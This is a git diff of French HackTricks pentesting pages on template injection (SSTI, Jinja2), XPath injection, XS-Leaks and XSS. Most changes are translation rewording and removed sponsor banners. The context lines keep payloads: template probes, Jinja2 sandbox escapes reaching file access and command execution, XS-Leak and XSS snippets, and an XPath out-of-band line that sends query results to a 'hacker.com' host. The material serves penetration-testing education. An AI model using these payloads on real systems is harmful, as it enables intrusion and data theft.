[https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) @@ -106,7 +101,7 @@ Vous pouvez essayer vos charges utiles sur [https://try.freemarker.apache.org](h - `{{7*7}} = {{7*7}}` - `${7*7} = 49` -- `#{7*7} = 49 -- (héritage)` +- `#{7*7} = 49 -- (legacy)` - `${7*'7'} Rien` - `${foobar}` ```java @@ -378,9 +373,9 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc - `${{7*7}}` - 49 - `${{request}}, ${{session}}, {{faceContext}}` -L'Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est largement utilisée dans plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent : +L'Expression Language (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique applicative (comme les beans gérés) dans JavaEE. Elle est utilisée de manière extensive à travers plusieurs technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent : -- **JavaServer Faces (JSF)** : Utilise EL pour lier des composants dans les pages JSF aux données et actions backend correspondantes. +- **JavaServer Faces (JSF)** : Utilise EL pour lier les composants dans les pages JSF aux données et actions correspondantes en backend. - **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler des données au sein des pages JSP, facilitant ainsi la connexion des éléments de la page aux données de l'application. - **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre avec CDI pour permettre une interaction fluide entre la couche web et les beans gérés, garantissant une structure d'application plus cohérente. @@ -423,11 +418,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 - Plus d'infos sur [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) -
-​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} ## @@ -495,7 +486,7 @@ array("first_name" => $user.first_name) Plates est un moteur de templating natif à PHP, s'inspirant de Twig. Cependant, contrairement à Twig, qui introduit une nouvelle syntaxe, Plates utilise du code PHP natif dans les templates, ce qui le rend intuitif pour les développeurs PHP. -Controller: +Contrôleur : ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); @@ -678,11 +669,11 @@ URLencoded: ### JsRender (NodeJS) -| **Template** | **Description** | +| **Modèle** | **Description** | | ------------ | --------------------------------------- | -| | Évaluer et rendre la sortie | +| | Évaluer et rendre la sortie | | | Évaluer et rendre la sortie HTML encodée | -| | Commentaire | +| | Commentaire | | et | Autoriser le code (désactivé par défaut) | - \= 49 @@ -826,7 +817,7 @@ Consultez la page suivante pour apprendre des astuces sur **le contournement de [Site officiel](http://jinja.pocoo.org) -> Jinja2 est un moteur de template complet pour Python. Il a un support unicode complet, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD. +> Jinja2 est un moteur de template complet pour Python. Il a un support complet de l'unicode, un environnement d'exécution intégré en sandbox optionnel, largement utilisé et sous licence BSD. - `{{7*7}} = Erreur` - `${7*7} = ${7*7}` @@ -942,7 +933,7 @@ La méthode .NET `System.Diagnostics.Process.Start` peut être utilisée pour d ### Mojolicious (Perl) -Même si c'est Perl, il utilise des balises comme ERB en Ruby. +Même si c'est du perl, il utilise des balises comme ERB en Ruby. - `<%= 7*7 %> = 49` - `<%= foobar %> = Error` @@ -952,23 +943,23 @@ Même si c'est Perl, il utilise des balises comme ERB en Ruby. ``` ### SSTI en GO -Dans le moteur de templates de Go, la confirmation de son utilisation peut être faite avec des payloads spécifiques : +Dans le moteur de template de Go, la confirmation de son utilisation peut être faite avec des payloads spécifiques : - `{{ . }}` : Révèle la structure de données d'entrée. Par exemple, si un objet avec un attribut `Password` est passé, `{{ .Password }}` pourrait l'exposer. - `{{printf "%s" "ssti" }}` : Devrait afficher la chaîne "ssti". -- `{{html "ssti"}}`, `{{js "ssti"}}` : Ces payloads devraient retourner "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation de Go [ici](https://golang.org/pkg/text/template). +- `{{html "ssti"}}`, `{{js "ssti"}}` : Ces payloads devraient retourner "ssti" sans ajouter "html" ou "js". D'autres directives peuvent être explorées dans la documentation Go [ici](https://golang.org/pkg/text/template).

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

**Exploitation XSS** -Avec le package `text/template`, l'XSS peut être simple en insérant le payload directement. En revanche, le package `html/template` encode la réponse pour prévenir cela (par exemple, `{{""}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de templates en Go peuvent contourner cette encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +Avec le package `text/template`, l'XSS peut être simple en insérant le payload directement. En revanche, le package `html/template` encode la réponse pour prévenir cela (par exemple, `{{""}}` donne `<script>alert(1)</script>`). Néanmoins, la définition et l'invocation de template en Go peuvent contourner cette encodage : \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **Exploitation RCE** -L'exploitation RCE diffère considérablement entre `html/template` et `text/template`. Le module `text/template` permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur "call"), ce qui n'est pas autorisé dans `html/template`. La documentation pour ces modules est disponible [ici pour html/template](https://golang.org/pkg/html/template/) et [ici pour text/template](https://golang.org/pkg/text/template/). +L'exploitation RCE diffère considérablement entre `html/template` et `text/template`. Le module `text/template` permet d'appeler directement n'importe quelle fonction publique (en utilisant la valeur “call”), ce qui n'est pas permis dans `html/template`. La documentation pour ces modules est disponible [ici pour html/template](https://golang.org/pkg/html/template/) et [ici pour text/template](https://golang.org/pkg/text/template/). Pour RCE via SSTI en Go, les méthodes d'objet peuvent être invoquées. Par exemple, si l'objet fourni a une méthode `System` exécutant des commandes, il peut être exploité comme `{{ .System "ls" }}`. Accéder au code source est généralement nécessaire pour exploiter cela, comme dans l'exemple donné : ```go @@ -1014,10 +1005,4 @@ Si vous pensez que cela pourrait être utile, lisez : - [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) - [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection) -
- -​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index f3894e85e..032cffae8 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -2,13 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} -
-Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} - -## **Lab** +## **Laboratoire** ```python from flask import Flask, request, render_template_string @@ -81,7 +76,7 @@ request ``` ### Récupérer \ -Ensuite, à partir de ces objets, nous devons accéder à la classe : **``** afin d'essayer de **récupérer** les **classes** définies. Cela est nécessaire car à partir de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non-sandboxé**. +Ensuite, à partir de ces objets, nous devons accéder à la classe : **``** afin d'essayer de **récupérer** les **classes** définies. Cela est nécessaire car à partir de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non sandboxé**. Pour accéder à cette **classe d'objet**, vous devez **accéder à un objet de classe** et ensuite accéder soit à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Et ensuite, **après** avoir atteint cette **classe d'objet**, nous **appelons** **`__subclasses__()`**. @@ -133,7 +128,7 @@ dict.__mro__[-1] **Ayant récupéré** `` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code. -L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons contents simplement d'accéder à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`). +L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons contents simplement en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`). **Lire/Écrire un fichier distant** ```python @@ -299,7 +294,7 @@ Une fois que vous avez trouvé quelques fonctions, vous pouvez récupérer les b ``` ### Fuzzing WAF bypass -**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) est un outil spécialisé dans les CTFs mais peut également être utile pour brute-forcer des paramètres invalides dans un scénario réel. L'outil envoie simplement des mots et des requêtes pour détecter des filtres, à la recherche de contournements, et fournit également une console interactive. +**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) est un outil spécialisé dans les CTF, mais peut également être utile pour brute-forcer des paramètres invalides dans un scénario réel. L'outil envoie simplement des mots et des requêtes pour détecter des filtres, à la recherche de contournements, et fournit également une console interactive. ``` webui: As the name suggests, web UI diff --git a/src/pentesting-web/web-vulnerabilities-methodology.md b/src/pentesting-web/web-vulnerabilities-methodology.md index be79fa53d..822f30c51 100644 --- a/src/pentesting-web/web-vulnerabilities-methodology.md +++ b/src/pentesting-web/web-vulnerabilities-methodology.md @@ -2,20 +2,12 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - Dans chaque Pentest Web, il y a **plusieurs endroits cachés et évidents qui pourraient être vulnérables**. Ce post est destiné à être une liste de contrôle pour confirmer que vous avez recherché des vulnérabilités dans tous les endroits possibles. ## Proxies > [!NOTE] -> De nos jours, les **applications** **web** utilisent généralement une sorte de **proxies** **intermédiaires**, qui peuvent être (mal) utilisés pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent qu'un proxy vulnérable soit en place, mais elles ont généralement aussi besoin d'une vulnérabilité supplémentaire dans le backend. +> De nos jours, les **applications** **web** utilisent généralement une sorte de **proxies intermédiaires**, qui peuvent être (mal) utilisés pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent qu'un proxy vulnérable soit en place, mais elles ont généralement aussi besoin d'une vulnérabilité supplémentaire dans le backend. - [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md) - [ ] [**Cache Poisoning/Cache Deception**](cache-deception/) @@ -30,7 +22,7 @@ Dans chaque Pentest Web, il y a **plusieurs endroits cachés et évidents qui po > [!NOTE] > La plupart des applications web **permettent aux utilisateurs d'entrer des données qui seront traitées plus tard.**\ -> Selon la structure des données que le serveur attend, certaines vulnérabilités peuvent ou non s'appliquer. +> En fonction de la structure des données que le serveur attend, certaines vulnérabilités peuvent ou non s'appliquer. ### **Valeurs réfléchies** @@ -60,7 +52,7 @@ pocs-and-polygloths-cheatsheet/ ### **Fonctionnalités de recherche** -Si la fonctionnalité peut être utilisée pour rechercher une sorte de données dans le backend, peut-être pouvez-vous (mal) l'utiliser pour rechercher des données arbitraires. +Si la fonctionnalité peut être utilisée pour rechercher un type de données dans le backend, peut-être pouvez-vous (mal) l'utiliser pour rechercher des données arbitraires. - [ ] [**File Inclusion/Path Traversal**](file-inclusion/) - [ ] [**NoSQL Injection**](nosql-injection.md) @@ -79,7 +71,7 @@ Lorsqu'un websocket envoie un message ou qu'un formulaire permet aux utilisateur ### **En-têtes HTTP** -Selon les en-têtes HTTP fournis par le serveur web, certaines vulnérabilités pourraient être présentes. +En fonction des en-têtes HTTP fournis par le serveur web, certaines vulnérabilités peuvent être présentes. - [ ] [**Clickjacking**](clickjacking.md) - [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/) @@ -88,7 +80,7 @@ Selon les en-têtes HTTP fournis par le serveur web, certaines vulnérabilités ### **Bypasses** -Il existe plusieurs fonctionnalités spécifiques où certaines solutions de contournement pourraient être utiles pour les contourner. +Il existe plusieurs fonctionnalités spécifiques où des solutions de contournement peuvent être utiles pour les contourner. - [ ] [**2FA/OTP Bypass**](2fa-bypass.md) - [ ] [**Bypass Payment Process**](bypass-payment-process.md) @@ -101,8 +93,8 @@ Il existe plusieurs fonctionnalités spécifiques où certaines solutions de con ### **Objets structurés / Fonctionnalités spécifiques** -Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé en langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\ -Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-têtes d'email). +Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé de langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\ +Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête d'email). - [ ] [**Deserialization**](deserialization/) - [ ] [**Email Header Injection**](email-injections.md) @@ -127,19 +119,11 @@ Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateu ### **Autres vulnérabilités utiles** -Ces vulnérabilités pourraient aider à exploiter d'autres vulnérabilités. +Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités. - [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md) - [ ] [**IDOR**](idor.md) - [ ] [**Parameter Pollution**](parameter-pollution.md) - [ ] [**Unicode Normalization vulnerability**](unicode-injection/) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xpath-injection.md b/src/pentesting-web/xpath-injection.md index 2b11a1e03..67382880b 100644 --- a/src/pentesting-web/xpath-injection.md +++ b/src/pentesting-web/xpath-injection.md @@ -2,22 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles récompenses de bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - -## Syntaxe de base +## Syntax de base Une technique d'attaque connue sous le nom d'injection XPath est utilisée pour tirer parti des applications qui forment des requêtes XPath (XML Path Language) basées sur l'entrée de l'utilisateur pour interroger ou naviguer dans des documents XML. @@ -25,7 +10,7 @@ Une technique d'attaque connue sous le nom d'injection XPath est utilisée pour Des expressions sont utilisées pour sélectionner divers nœuds dans un document XML. Ces expressions et leurs descriptions sont résumées ci-dessous : -- **nodename** : Tous les nœuds portant le nom "nodename" sont sélectionnés. +- **nodename** : Tous les nœuds avec le nom "nodename" sont sélectionnés. - **/** : La sélection est faite à partir du nœud racine. - **//** : Les nœuds correspondant à la sélection à partir du nœud actuel sont sélectionnés, quelle que soit leur position dans le document. - **.** : Le nœud actuel est sélectionné. @@ -53,8 +38,8 @@ Les prédicats sont utilisés pour affiner les sélections : - **/bookstore/book\[position()<3]** : Les deux premiers éléments book enfants de l'élément bookstore sont sélectionnés. - **//title\[@lang]** : Tous les éléments title avec un attribut lang sont sélectionnés. - **//title\[@lang='en']** : Tous les éléments title avec une valeur d'attribut "lang" de "en" sont sélectionnés. -- **/bookstore/book\[price>35.00]** : Tous les éléments book de la librairie avec un prix supérieur à 35.00 sont sélectionnés. -- **/bookstore/book\[price>35.00]/title** : Tous les éléments title des éléments book de la librairie avec un prix supérieur à 35.00 sont sélectionnés. +- **/bookstore/book\[price>35.00]** : Tous les éléments book de la librairie avec un prix supérieur à 35,00 sont sélectionnés. +- **/bookstore/book\[price>35.00]/title** : Tous les éléments title des éléments book de la librairie avec un prix supérieur à 35,00 sont sélectionnés. ### Gestion des nœuds inconnus @@ -281,19 +266,4 @@ doc-available(concat("http://hacker.com/oob/", RESULTS)) - [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection\_(OTG-INPVAL-010)]() - [https://www.w3schools.com/xml/xpath_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp) -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus de hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 6bc170e4e..c76ea013a 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -1,12 +1,5 @@ # XS-Search/XS-Leaks -
- -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../banners/hacktricks-training.md}} ## Informations de base @@ -29,13 +22,13 @@ Plusieurs aspects peuvent être analysés pour différencier les états du Web v - **Code d'état** : Distinguer entre **divers codes d'état de réponse HTTP** cross-origin, comme les erreurs serveur, les erreurs client ou les erreurs d'authentification. - **Utilisation de l'API** : Identifier **l'utilisation des API Web** à travers les pages, révélant si une page cross-origin utilise une API Web JavaScript spécifique. - **Redirections** : Détecter les navigations vers différentes pages, pas seulement les redirections HTTP mais aussi celles déclenchées par JavaScript ou HTML. -- **Contenu de la page** : Observer **les variations dans le corps de la réponse HTTP** ou dans les sous-ressources de la page, telles que le **nombre de cadres intégrés** ou les disparités de taille dans les images. +- **Contenu de la page** : Observer **les variations dans le corps de la réponse HTTP** ou dans les sous-ressources de la page, comme le **nombre de cadres intégrés** ou les disparités de taille dans les images. - **En-tête HTTP** : Noter la présence ou éventuellement la valeur d'un **en-tête de réponse HTTP spécifique**, y compris des en-têtes comme X-Frame-Options, Content-Disposition et Cross-Origin-Resource-Policy. - **Temps** : Remarquer des disparités de temps cohérentes entre les deux états. ### Méthodes d'inclusion -- **Éléments HTML** : HTML offre divers éléments pour **l'inclusion de ressources cross-origin**, comme des feuilles de style, des images ou des scripts, obligeant le navigateur à demander une ressource non-HTML. Une compilation des éléments HTML potentiels à cet effet peut être trouvée sur [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). +- **Éléments HTML** : HTML offre divers éléments pour **l'inclusion de ressources cross-origin**, comme des feuilles de style, des images ou des scripts, obligeant le navigateur à demander une ressource non-HTML. Une compilation des éléments HTML potentiels à cet effet peut être trouvée à [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). - **Cadres** : Des éléments tels que **iframe**, **object** et **embed** peuvent intégrer des ressources HTML directement dans la page de l'attaquant. Si la page **manque de protection contre le framing**, JavaScript peut accéder à l'objet window de la ressource encadrée via la propriété contentWindow. - **Pop-ups** : La méthode **`window.open`** ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un **handle de fenêtre** pour que JavaScript interagisse avec des méthodes et des propriétés suivant le SOP. Les pop-ups, souvent utilisées dans le cadre de l'authentification unique, contournent les restrictions de framing et de cookies d'une ressource cible. Cependant, les navigateurs modernes restreignent la création de pop-ups à certaines actions de l'utilisateur. - **Requêtes JavaScript** : JavaScript permet des requêtes directes vers des ressources cibles en utilisant **XMLHttpRequests** ou l'**API Fetch**. Ces méthodes offrent un contrôle précis sur la requête, comme choisir de suivre les redirections HTTP. @@ -46,25 +39,17 @@ Plusieurs aspects peuvent être analysés pour différencier les états du Web v - **Messages d'erreur** : Les exceptions JavaScript ou les pages d'erreur spéciales peuvent fournir des informations de fuite soit directement à partir du message d'erreur, soit en différenciant sa présence et son absence. - **Limites globales** : Les limitations physiques d'un navigateur, comme la capacité mémoire ou d'autres limites imposées par le navigateur, peuvent signaler lorsqu'un seuil est atteint, servant de technique de fuite. - **État global** : Les interactions détectables avec les **états globaux** des navigateurs (par exemple, l'interface History) peuvent être exploitées. Par exemple, le **nombre d'entrées** dans l'historique d'un navigateur peut offrir des indices sur les pages cross-origin. -- **API de performance** : Cette API fournit des **détails de performance de la page actuelle**, y compris le timing réseau pour le document et les ressources chargées, permettant d'inférer sur les ressources demandées. +- **API de performance** : Cette API fournit des **détails de performance de la page actuelle**, y compris le timing réseau pour le document et les ressources chargées, permettant des inférences sur les ressources demandées. - **Attributs lisibles** : Certains attributs HTML sont **lisibles cross-origin** et peuvent être utilisés comme technique de fuite. Par exemple, la propriété `window.frame.length` permet à JavaScript de compter les cadres inclus dans une page web cross-origin. -## Outil & Document XSinator +## Outil et document XSinator XSinator est un outil automatique pour **vérifier les navigateurs contre plusieurs XS-Leaks connus** expliqués dans son document : [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) Vous pouvez **accéder à l'outil à** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **XS-Leaks exclus** : Nous avons dû exclure les XS-Leaks qui reposent sur des **workers de service** car ils interfèreraient avec d'autres fuites dans XSinator. De plus, nous avons choisi d'**exclure les XS-Leaks qui reposent sur des erreurs de configuration et des bugs dans une application web spécifique**. Par exemple, les erreurs de configuration Cross-Origin Resource Sharing (CORS), les fuites postMessage ou le Cross-Site Scripting. De plus, nous avons exclu les XS-Leaks basés sur le temps car ils souffrent souvent d'être lents, bruyants et inexactes. - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +> **XS-Leaks exclus** : Nous avons dû exclure les XS-Leaks qui reposent sur des **service workers** car ils interfèreraient avec d'autres fuites dans XSinator. De plus, nous avons choisi d'**exclure les XS-Leaks qui reposent sur des erreurs de configuration et des bugs dans une application web spécifique**. Par exemple, les erreurs de configuration Cross-Origin Resource Sharing (CORS), les fuites postMessage ou le Cross-Site Scripting. De plus, nous avons exclu les XS-Leaks basés sur le temps car ils souffrent souvent d'être lents, bruyants et inexactes. ## **Techniques basées sur le temps** @@ -81,14 +66,14 @@ Pour plus d'infos : [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt - **Méthodes d'inclusion** : Cadres, Éléments HTML - **Différence détectable** : Code d'état - **Plus d'infos** : [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Résumé** : si une tentative de chargement d'une ressource déclenche les événements onerror/onload lorsque la ressource est chargée avec succès/échoue, il est possible de déterminer le code d'état. +- **Résumé** : si l'on essaie de charger une ressource, les événements onerror/onload sont déclenchés lorsque la ressource est chargée avec succès/échoue, il est possible de déterminer le code d'état. - **Exemple de code** : [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() {{#ref}} xs-search/cookie-bomb-+-onerror-xs-leak.md {{#endref}} -L'exemple de code essaie de **charger des objets de scripts JS**, mais **d'autres balises** telles que des objets, des feuilles de style, des images, des audios pourraient également être utilisées. De plus, il est également possible d'injecter la **balise directement** et de déclarer les événements `onload` et `onerror` à l'intérieur de la balise (au lieu de l'injecter depuis JS). +L'exemple de code essaie de **charger des objets de scripts depuis JS**, mais **d'autres balises** telles que des objets, des feuilles de style, des images, des audios pourraient également être utilisées. De plus, il est également possible d'injecter la **balise directement** et de déclarer les événements `onload` et `onerror` à l'intérieur de la balise (au lieu de l'injecter depuis JS). Il existe également une version sans script de cette attaque : ```html @@ -151,7 +136,7 @@ Il a été observé qu'en l'absence de [Framing Protections](https://xsleaks.dev Supposons que vous puissiez **insérer** la **page** qui contient le **contenu secret** **dans un Iframe**. -Vous pouvez **faire rechercher à la victime** le fichier qui contient "_**flag**_" en utilisant un **Iframe** (en exploitant un CSRF par exemple). À l'intérieur de l'Iframe, vous savez que l'_**événement onload**_ sera **exécuté toujours au moins une fois**. Ensuite, vous pouvez **changer** l'**URL** de l'**iframe** mais en changeant seulement le **contenu** du **hash** à l'intérieur de l'URL. +Vous pouvez **faire rechercher à la victime** le fichier qui contient "_**flag**_" en utilisant un **Iframe** (en exploitant un CSRF par exemple). À l'intérieur de l'Iframe, vous savez que l'_**événement onload**_ sera **exécuté toujours au moins une fois**. Ensuite, vous pouvez **changer** l'**URL** de l'**iframe** mais en changeant uniquement le **contenu** du **hash** à l'intérieur de l'URL. Par exemple : @@ -167,7 +152,7 @@ Ensuite, vous pouvez **distinguer entre** une page **chargée correctement** ou - **Inclusion Methods**: Frames - **Detectable Difference**: Contenu de la page - **More info**: -- **Summary:** Si la **page** renvoie le **contenu sensible**, **ou** un **contenu** qui peut être **contrôlé** par l'utilisateur. L'utilisateur pourrait définir **un code JS valide dans le cas négatif**, un **chargement** à chaque essai à l'intérieur des **``** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** : -- Si reflété entre les balises **``**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `` injectée est à l'intérieur du code HTML. +- Si reflété entre les balises **``**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise injectée `` est à l'intérieur du code HTML. - Si reflété **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) : - `'-alert(1)-'` - `';-alert(1)//` @@ -90,7 +84,7 @@ alert(1) #### Javascript Hoisting Javascript Hoisting fait référence à l'opportunité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\ -**Consultez la page suivante pour plus d'infos :** +**Consultez la page suivante pour plus d'informations :** {{#ref}} js-hoisting.md @@ -149,13 +143,13 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## Contournement WAF encodage image +## Contournement de WAF par encodage d'image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Injection à l'intérieur du HTML brut +## Injection dans du HTML brut -Lorsque votre entrée est reflétée **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose que vous devez faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encodé** ou **supprimé** ou s'il est **reflété sans modifications**. **Ce n'est que dans ce dernier cas que vous pourrez exploiter ce cas**.\ +Lorsque votre entrée est reflétée **dans la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose que vous devez faire 